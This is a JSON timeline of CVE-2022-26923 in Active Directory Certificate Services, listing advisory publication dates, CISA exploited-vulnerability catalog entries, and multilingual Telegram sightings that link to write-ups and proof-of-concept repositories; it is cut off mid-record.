{"metadata": {"vulnerability": "CVE-2022-26923", "count": 107, "kinds": {"milestone": 7, "sighting": 65, "kev": 11, "other": 24}}, "data": [{"timestamp": "2022-03-11T00:00:00Z", "date_only": false, "value": "2022-03-11T00:00:00.000Z", "kind": "milestone", "label": "Reserved", "source": "cvelistv5", "record": "CVE-2022-26923", "field": "cveMetadata.dateReserved"}, {"timestamp": "2022-05-10T07:00:00Z", "date_only": false, "value": "2022-05-10T07:00:00.000Z", "kind": "other", "label": "Advisory revision", "source": "csaf_microsoft \u00b7 MSRC_CVE-2022-26923", "record": "MSRC_CVE-2022-26923", "field": "document.tracking.revision_history.1.date"}, {"timestamp": "2022-05-10T07:00:00Z", "date_only": false, "value": "2022-05-10T07:00:00.000Z", "kind": "other", "label": "Date", "source": "csaf_microsoft \u00b7 MSRC_CVE-2022-26923", "record": "MSRC_CVE-2022-26923", "field": "vulnerabilities.0.remediations.0.date"}, {"timestamp": "2022-05-10T07:00:00Z", "date_only": false, "value": "2022-05-10T07:00:00.000Z", "kind": "other", "label": "Made public", "source": "cvelistv5 / microsoft", "record": "CVE-2022-26923", "field": "containers.cna.datePublic"}, {"timestamp": "2022-05-10T08:00:00Z", "date_only": false, "value": "2022-05-10T08:00:00.000Z", "kind": "other", "label": "Advisory revision", "source": "csaf_microsoft \u00b7 MSRC_CVE-2022-26923", "record": "MSRC_CVE-2022-26923", "field": "document.tracking.revision_history.0.date"}, {"timestamp": "2022-05-10T08:00:00Z", "date_only": false, "value": "2022-05-10T08:00:00.000Z", "kind": "milestone", "label": "Published", "source": "csaf_microsoft \u00b7 MSRC_CVE-2022-26923", "record": "MSRC_CVE-2022-26923", "field": "document.tracking.initial_release_date"}, {"timestamp": "2022-05-10T20:33:39Z", "date_only": false, "value": "2022-05-10T20:33:39.000Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2022-26923", "field": "cveMetadata.datePublished"}, {"timestamp": "2022-05-10T21:15:00Z", "date_only": false, "value": "2022-05-10T21:15:00Z", "kind": "other", "label": "Nvd published at", "source": "github \u00b7 GHSA-J9XF-76VV-4WCG", "record": "GHSA-J9XF-76VV-4WCG", "field": "database_specific.nvd_published_at"}, {"timestamp": "2022-05-10T21:15:10.133Z", "date_only": false, "value": "2022-05-10T21:15:10.133", "kind": "milestone", "label": "Published", "source": "fkie_nvd \u00b7 FKIE_CVE-2022-26923", "record": "FKIE_CVE-2022-26923", "field": "published"}, {"timestamp": "2022-05-10T21:15:10.133Z", "date_only": false, "value": "2022-05-10T21:15:10.133", "kind": "milestone", "label": "Published", "source": "gsd \u00b7 GSD-2022-26923", "record": "GSD-2022-26923", "field": "namespaces.nvd.nist.gov.cve.published"}, {"timestamp": "2022-05-11T00:00:00Z", "date_only": false, "value": "2022-05-11T00:00:00", "kind": "milestone", "label": "Published", "source": "certfr_avis \u00b7 CERTFR-2022-AVI-448", "record": "CERTFR-2022-AVI-448", "field": "initial_release_date"}, {"timestamp": "2022-05-11T00:00:00Z", "date_only": false, "value": "2022-05-11T00:00:00.000000", "kind": "other", "label": "Revision date", "source": "certfr_avis \u00b7 CERTFR-2022-AVI-448", "record": "CERTFR-2022-AVI-448", "field": "revisions.0.revision_date"}, {"timestamp": "2022-05-11T00:00:58Z", "date_only": false, "value": "2022-05-11T00:00:58Z", "kind": "milestone", "label": "Published", "source": "github \u00b7 GHSA-J9XF-76VV-4WCG", "record": "GHSA-J9XF-76VV-4WCG", "field": "published"}, {"timestamp": "2022-05-11T04:00:00Z", "date_only": false, "value": "2022-05-11T04:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=801", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "4fe15223-4ca1-4209-8b27-e2ad0b972e40", "url": "https://www.govcert.gov.hk/en/alerts_detail.php?id=801"}, {"timestamp": "2022-05-12T02:37:16Z", "date_only": false, "value": "2022-05-12T02:37:16.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/2166", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "f4c76028-6a58-4b76-80ac-eb3303ccf36b", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2022\n\u63cf\u8ff0\uff1aWalkthrough on the exploitation of CVE-2022-26923, a vulnerability in AD Certificate Services\nURL\uff1ahttps://github.com/r1skkam/TryHackMe-CVE-2022-26923\n\n\u6807\u7b7e\uff1a#CVE-2022", "url": "https://t.me/GithubRedTeam/2166"}, {"timestamp": "2022-05-12T11:01:01Z", "date_only": false, "value": "2022-05-12T11:01:01.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/CyberSecurityTechnologies/5987", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "9e02bd9d-73b1-4587-af87-1c51bcf2437d", "content": "#Threat_Research\n1. BPFDoor - An Evasive Linux Backdoor Technical Analysis\nhttps://www.sandflysecurity.com/blog/bpfdoor-an-evasive-linux-backdoor-technical-analysis\n2. Active Directory Domain Privilege Escalation (CVE-2022-26923)\nhttps://research.ifcr.dk/certifried-active-directory-domain-privilege-escalation-cve-2022-26923-9e098fe298f4", "url": "https://t.me/CyberSecurityTechnologies/5987"}, {"timestamp": "2022-05-13T00:00:00Z", "date_only": false, "value": "2022-05-13T00:00:00", "kind": "other", "label": "Last revision date", "source": "certfr_avis \u00b7 CERTFR-2022-AVI-448", "record": "CERTFR-2022-AVI-448", "field": "last_revision_date"}, {"timestamp": "2022-05-13T00:00:00Z", "date_only": false, "value": "2022-05-13T00:00:00.000000", "kind": "other", "label": "Revision date", "source": "certfr_avis \u00b7 CERTFR-2022-AVI-448", "record": "CERTFR-2022-AVI-448", "field": "revisions.1.revision_date"}, {"timestamp": "2022-05-14T20:49:13Z", "date_only": false, "value": "2022-05-14T20:49:13.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/2188", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "ffe61189-feaa-4a8c-bcd9-ae9d8cf52ed2", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2022\n\u63cf\u8ff0\uff1aAn improved Proof of Concept for CVE-2022-1388 w/ Interactive Shell.        No reverse tcp required!\nURL\uff1ahttps://github.com/LudovicPatho/CVE-2022-26923_AD-Certificate-Services\n\n\u6807\u7b7e\uff1a#CVE-2022", "url": "https://t.me/GithubRedTeam/2188"}, {"timestamp": "2022-05-14T23:19:02Z", "date_only": false, "value": "2022-05-14T23:19:02.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/HackerOne/3335", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "1190af0b-c582-4fbd-b2c4-624ab18157c9", "content": "https://research.ifcr.dk/certifried-active-directory-domain-privilege-escalation-cve-2022-26923-9e098fe298f4", "url": "https://t.me/HackerOne/3335"}, {"timestamp": "2022-05-15T06:14:26Z", "date_only": false, "value": "2022-05-15T06:14:26.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/cKure/9520", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "a2df620d-a5d1-4415-b96a-b1b87ea4fa47", "content": "\u25a0\u25a0\u25a0\u25a0\u25a0 Active Directory Domain Privilege Escalation (CVE-2022\u201326923).\n\nhttps://research.ifcr.dk/certifried-active-directory-domain-privilege-escalation-cve-2022-26923-9e098fe298f4", "url": "https://t.me/cKure/9520"}, {"timestamp": "2022-06-04T13:40:38Z", "date_only": false, "value": "2022-06-04T13:40:38.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CyberSecurityTechnologies/6131", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "b0a97dfc-fb20-4ea0-9841-6f091c2fd0d6", "content": "#Red_Team_Tactics\n1. Abusing CVE-2022-26923 through SOCKS5 on a Mythic C2 agent\nhttps://macrosec.tech/index.php/2022/06/01/abusing-cve-2022-26923-through-socks5-on-a-mythic-c2-agent\n2. Quantum Insert: bypassing IP\u00a0restrictions\nhttps://diablohorn.com/2017/05/21/quantum-insert-bypassing-ip-restrictions", "url": "https://t.me/CyberSecurityTechnologies/6131"}, {"timestamp": "2022-08-03T05:03:25Z", "date_only": false, "value": "2022-08-03T05:03:25.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/NarimanGharib/325", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "81b21e3f-f3de-4132-82e7-930f7c1058d6", "content": "\u0645\u0647\u0627\u062c\u0645 \u0627\u0632 \u06cc\u06a9 \u062d\u0641\u0631\u0647 \u0627\u0645\u0646\u06cc\u062a\u06cc \u0628\u0647 \u0646\u0627\u0645 CVE-2022-26923 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0631\u062f\u0647 \u06a9\u0647 \u0628\u06cc\u0634 \u0627\u0632 \u0686\u0647\u0627\u0631 \u0645\u0627\u0647 \u067e\u06cc\u0634 \u06a9\u0634\u0641 \u0634\u062f\u0647 \u0628\u0648\u062f \u0648 \u0628\u0631\u0627\u0634 \u0647\u0645\u0648\u0646 \u0645\u0648\u0642\u0639 \u0628\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc \u0647\u0645 \u0645\u0646\u062a\u0634\u0631 \u0634\u062f\u0647 \u0628\u0648\u062f. \u0686\u0647\u0627\u0631\u0645\u0627\u0647 \u062f\u0631 \u062f\u0646\u06cc\u0627\u06cc \u0627\u0645\u0646\u06cc\u062a \u0645\u062c\u0627\u0632\u06cc \u06cc\u0639\u0646\u06cc \u06cc\u06a9 \u0642\u0631\u0646. \u0648\u0642\u062a\u06cc \u06a9\u0627\u0631\u0647\u0627 \u0628\u0631 \u0627\u0633\u0627\u0633 \u0631\u0627\u0628\u0637\u0647 \u062a\u0642\u0633\u06cc\u0645 \u0628\u0634\u0646\u060c \u0646\u0642\u0637\u0647 \u0636\u0639\u0641 \u0628\u0632\u0631\u06af\u06cc \u0628\u0648\u062c\u0648\u062f \u0645\u06cc\u0627\u062f \u06a9\u0647 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632\u0634 \u0641\u0642\u0637 \u0628\u062d\u062b \u0632\u0645\u0627\u0646\u0647.\nhttps://twitter.com/ayatsubzero/status/1554633303969472512", "url": "https://t.me/NarimanGharib/325"}, {"timestamp": "2022-08-18T00:00:00Z", "date_only": false, "value": "2022-08-18T00:00:00+00:00", "kind": "kev", "label": "Asserted", "source": "cisa-kev", "record": "CVE-2022-26923", "field": "timestamps.asserted_at", "uuid": "47b9d953-248d-4822-8b10-c67a7e4421d6", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2022-08-18T00:00:00Z", "date_only": false, "value": "2022-08-18T00:00:00+00:00", "kind": "kev", "label": "Asserted", "source": "kevintel", "record": "CVE-2022-26923", "field": "timestamps.asserted_at", "uuid": "7f03a38a-7649-43ed-8666-dba3243a1f30", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2022-08-18T00:00:00Z", "date_only": true, "value": "2022-08-18", "kind": "other", "label": "Catalog added", "source": "cvelistv5 / CISA-ADP", "record": "CVE-2022-26923", "field": "containers.adp.1.metrics.1.other.content.dateAdded"}, {"timestamp": "2022-08-18T00:00:00Z", "date_only": false, "value": "2022-08-18T00:00:00.000Z", "kind": "kev", "label": "Catalog added", "source": "kevintel", "record": "CVE-2022-26923", "field": "evidence.0.details.added_date", "uuid": "7f03a38a-7649-43ed-8666-dba3243a1f30", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2022-08-18T00:00:00Z", "date_only": true, "value": "2022-08-18", "kind": "kev", "label": "Date added", "source": "cisa-kev", "record": "CVE-2022-26923", "field": "evidence.0.details.date_added", "uuid": "47b9d953-248d-4822-8b10-c67a7e4421d6", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2022-08-18T00:00:00Z", "date_only": false, "value": "2022-08-18T00:00:00+00:00", "kind": "kev", "label": "First seen", "source": "cisa-kev", "record": "CVE-2022-26923", "field": "timestamps.first_seen_at", "uuid": "47b9d953-248d-4822-8b10-c67a7e4421d6", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2022-08-18T00:00:00Z", "date_only": false, "value": "2022-08-18T00:00:00+00:00", "kind": "kev", "label": "First seen", "source": "kevintel", "record": "CVE-2022-26923", "field": "timestamps.first_seen_at", "uuid": "7f03a38a-7649-43ed-8666-dba3243a1f30", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2022-08-18T00:00:00Z", "date_only": false, "value": "2022-08-18T00:00:00+00:00", "kind": "kev", "label": "Status updated", "source": "cisa-kev", "record": "CVE-2022-26923", "field": "status.status_updated_at", "uuid": "47b9d953-248d-4822-8b10-c67a7e4421d6", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2022-08-18T00:00:00Z", "date_only": false, "value": "2022-08-18T00:00:00+00:00", "kind": "kev", "label": "Status updated", "source": "kevintel", "record": "CVE-2022-26923", "field": "status.status_updated_at", "uuid": "7f03a38a-7649-43ed-8666-dba3243a1f30", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2022-08-18T00:00:00Z", "date_only": false, "value": "2022-08-18T00:00:00.000Z", "kind": "other", "label": "Time", "source": "cvelistv5 / CISA-ADP", "record": "CVE-2022-26923", "field": "containers.adp.1.timeline.0.time"}, {"timestamp": "2022-08-20T10:09:16Z", "date_only": false, "value": "2022-08-20T10:09:16.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/cyberbannews_ir/6477", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "7c5d3f2f-bedb-4108-a037-8b44da3a0aff", "content": "\u200d \ud83d\uded1\u0627\u0641\u0632\u0648\u062f\u0647 \u0634\u062f\u0646 7 \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc \u062c\u062f\u06cc\u062f \u0628\u0647 \u0641\u0647\u0631\u0633\u062a \u0628\u0627\u06af \u0647\u0627\u06cc CISA\n\n\u0622\u0698\u0627\u0646\u0633 \u0627\u0645\u0646\u06cc\u062a \u0633\u0627\u06cc\u0628\u0631\u06cc \u0648 \u0627\u0645\u0646\u06cc\u062a \u0632\u06cc\u0631\u0633\u0627\u062e\u062a \u0622\u0645\u0631\u06cc\u06a9\u0627 \u06cc\u0627 \u0647\u0645\u0627\u0646 \u0633\u06cc\u0633\u0627 7 \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc \u0631\u0627 \u0628\u0647 \u0641\u0647\u0631\u0633\u062a \u0628\u0627\u06af \u0647\u0627\u06cc \u062a\u062d\u062a \u0628\u0647\u0631\u0647 \u0628\u0631\u062f\u0627\u0631\u06cc \u062e\u0648\u062f \u0627\u0641\u0632\u0648\u062f\u0647 \u0627\u0633\u062a. \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc \u0647\u0627\u06cc \u062c\u062f\u06cc\u062f \u062a\u0648\u0633\u0637 \u0627\u067e\u0644\u060c \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a\u060c \u0627\u0633 \u0627\u0650\u06cc \u067e\u06cc \u0648 \u06af\u0648\u06af\u0644 \u0634\u0646\u0627\u0633\u0627\u06cc\u06cc \u0634\u062f\u0647 \u0627\u0646\u062f.\n\n\u0628\u0627 \u0627\u062d\u062a\u0633\u0627\u0628 \u0627\u06cc\u0646 7 \u0645\u0648\u0631\u062f \u062c\u062f\u06cc\u062f\u060c \u0641\u0647\u0631\u0633\u062a \u0628\u0627\u06af \u0647\u0627\u06cc \u0633\u06cc\u0633\u0627 \u062d\u0627\u0644\u0627 \u0634\u0627\u0645\u0644 801 \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc \u0627\u0633\u062a \u06a9\u0647 \u0622\u0698\u0627\u0646\u0633 \u0647\u0627\u06cc \u0641\u062f\u0631\u0627\u0644 \u0628\u0627\u06cc\u0633\u062a\u06cc \u0637\u0628\u0642 \u062a\u0627\u0631\u06cc\u062e \u0647\u0627\u06cc \u062a\u0639\u06cc\u06cc\u0646 \u0634\u062f\u0647\u060c \u0622\u0646 \u0647\u0627 \u0631\u0627 \u0627\u0635\u0644\u0627\u062d \u06a9\u0646\u0646\u062f. \n\n\u0633\u06cc\u0633\u0627 \u0627\u0632 \u062a\u0645\u0627\u0645\u06cc \u0622\u0698\u0627\u0646\u0633 \u0647\u0627\u06cc \u0641\u062f\u0631\u0627\u0644 \u0648 \u0634\u0631\u06a9\u062a \u0647\u0627\u06cc \u0645\u0631\u0628\u0648\u0637\u0647 \u062e\u0648\u0627\u0633\u062a\u0647\u060c \u062a\u0627 \u062a\u0627\u0631\u06cc\u062e 8 \u0633\u067e\u062a\u0627\u0645\u0628\u0631 2022 \u0627\u06cc\u0646 7 \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc \u062c\u062f\u06cc\u062f \u0631\u0627 \u0627\u0635\u0644\u0627\u062d \u06a9\u0646\u0646\u062f:\n\nCVE-2017-15944: \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 \u0634\u0631\u06a9\u062a \u067e\u0627\u0644\u0648 \u0622\u0644\u062a\u0648\nCVE-2022-21971: \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a\nCVE-2022-26923: \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a\nCVE-2022-2856: \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 \u06af\u0648\u06af\u0644\nCVE-2022-32893: \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 \u0627\u067e\u0644\nCVE-2022-32894: \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 \u0627\u067e\u0644\nCVE-2022-22536: \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 \u0634\u0631\u06a9\u062a SAP\n\u0647\u0646\u0648\u0632 \u0647\u06cc\u0686 \u062c\u0632\u0626\u06cc\u0627\u062a\u06cc \u062f\u0631 \u0627\u0631\u062a\u0628\u0627\u0637 \u0628\u0627 \u0646\u062d\u0648\u0647 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0628\u0627\u0632\u06cc\u06af\u0631\u0627\u0646 \u0645\u062e\u0631\u0628 \u0627\u0632 \u0622\u0646 \u0647\u0627 \u0645\u0646\u062a\u0634\u0631 \u0646\u0634\u062f\u0647 \u0627\u0633\u062a. \n\n#\u0622\u0633\u06cc\u0628_\u067e\u0630\u06cc\u0631\u06cc\n\n@cyberbannews_ir", "url": "https://t.me/cyberbannews_ir/6477"}, {"timestamp": "2022-08-22T07:00:59Z", "date_only": false, "value": "2022-08-22T07:00:59.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/poxek/2331", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "d6ebae42-b115-4ad4-b498-c5b45630c8f0", "content": "#Windows #CVE \n\nMicrosoft Windows Active Directory Certificate Services Improper Authorization Privilege Escalation Vulnerability\nCVE-2022-26923\n\n\u042d\u0442\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0441\u043c\u0435\u0436\u043d\u044b\u043c \u0441 \u0441\u0435\u0442\u044c\u044e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0441\u043b\u0443\u0436\u0431\u0430\u0445 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0432 Active Directory. \u0414\u043b\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043a\u0440\u043e\u0435\u0442\u0441\u044f \u0432 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0435 \u0432\u044b\u0434\u0430\u0447\u0438 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0432. \u0414\u043e\u0431\u0430\u0432\u0438\u0432 \u043f\u043e\u0434\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0432 \u0437\u0430\u043f\u0440\u043e\u0441 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u0430, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442 \u0435\u043c\u0443 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u043d\u0430 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u0435 \u0434\u043e\u043c\u0435\u043d\u0430 \u0441 \u0432\u044b\u0441\u043e\u043a\u0438\u043c \u0443\u0440\u043e\u0432\u043d\u0435\u043c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u044d\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0434\u043b\u044f \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0438 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044f \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u043d\u044b\u0445 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u0435\u0434\u0435\u0442 \u043a \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0435\u0439 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438.", "url": "https://t.me/poxek/2331"}, {"timestamp": "2022-08-23T14:49:44Z", "date_only": false, "value": "2022-08-23T14:49:44.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/thehackernews/2494", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "688b1f63-e1b6-4214-88f9-0a6056865a52", "content": "CISA has updated its Known Exploited Vulnerabilities Catalog with 7 new vulnerabilities based on evidence of active exploitation.\n\nRead details: https://thehackernews.com/2022/08/cisa-adds-7-new-actively-exploited.html\n\nCVE-2017-15944, CVE-2022-21971, CVE-2022-26923, CVE-2022-2856, CVE-2022-32893, CVE-2022-32894, CVE-2022-22536", "url": "https://t.me/thehackernews/2494"}, {"timestamp": "2022-08-25T18:06:49Z", "date_only": false, "value": "2022-08-25T18:06:49.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/poxek/2362", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "12fb1e0c-81f3-47a0-bff2-6b2565d64546", "content": "#\u041f\u041e  #CVE\n\nCISA \u043f\u0440\u043e\u0441\u0438\u0442 \u0432\u0430\u0441 \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u0442\u044c \u044d\u0442\u0438 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438\nCVE-2022-22536, CVE-2022-32893, CVE-2022-32894, CVE-2022-2856, CVE-2022-21971, CVE-2022-26923, CVE-2017-15944\n\nCISA (\u0410\u0433\u0435\u043d\u0442\u0441\u0442\u0432\u043e \u043f\u043e \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043d\u043e\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0421\u0428\u0410) \u043e\u0431\u043d\u043e\u0432\u0438\u043b\u043e \u0441\u0432\u043e\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0434\u043e\u0431\u0430\u0432\u0438\u0432 \u0432 \u043d\u0435\u0433\u043e \u0441\u0435\u043c\u044c \u043d\u043e\u0432\u044b\u0445 \u043f\u043e\u0437\u0438\u0446\u0438\u0439. \u042d\u0442\u0438 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0438 \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 Apple, Google, Microsoft, Palo Alto Networks \u0438 SAP.\u00a0", "url": "https://t.me/poxek/2362"}, {"timestamp": "2022-09-02T12:16:15Z", "date_only": false, "value": "2022-09-02T12:16:15.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/poxek/2374", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "e2aa5864-40d2-49d0-a032-5658ef7c1052", "content": "#Windows #CVE\n\nActive Directory Domain Service Privilege Escalation Vulnerability\nCVE-2022-26923\n\n\u0421\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0431\u043e\u043b\u044c\u0448\u043e\u0439 \u0432\u0435\u043a\u0442\u043e\u0440 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439, \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u043d\u0435\u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u043d\u0430 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u0443\u044e \u0443\u0447\u0435\u0442\u043d\u0443\u044e \u0437\u0430\u043f\u0438\u0441\u044c (\u0438\u043b\u0438 \u043c\u0430\u0448\u0438\u043d\u0443) \u0434\u043e\u043c\u0435\u043d\u0430. \u0412 Active Directory \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u041d\u0415 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u0441\u043b\u0443\u0436\u0431\u044b \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0432, \u043d\u043e \u0435\u0441\u043b\u0438 \u043e\u043d\u0438 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u044b, \u0442\u043e \u043f\u0440\u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0433\u043e \u0448\u0430\u0431\u043b\u043e\u043d\u0430 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u0430 \u043e\u043d\u0438 \u043c\u043e\u0433\u0443\u0442 \u043f\u043e\u0434\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432\u0435\u0441\u044c \u0434\u043e\u043c\u0435\u043d. \u0414\u043b\u044f \u0442\u043e\u0433\u043e \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0446\u0435\u0434\u0443\u0440\u0443 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f, \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0438\u0437\u0443\u0447\u0438\u0442\u044c \u043c\u043d\u043e\u0433\u043e \u0442\u0435\u043e\u0440\u0438\u0438.\u00a0", "url": "https://t.me/poxek/2374"}, {"timestamp": "2022-09-05T11:00:05Z", "date_only": false, "value": "2022-09-05T11:00:05.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/poxek/2448", "record": 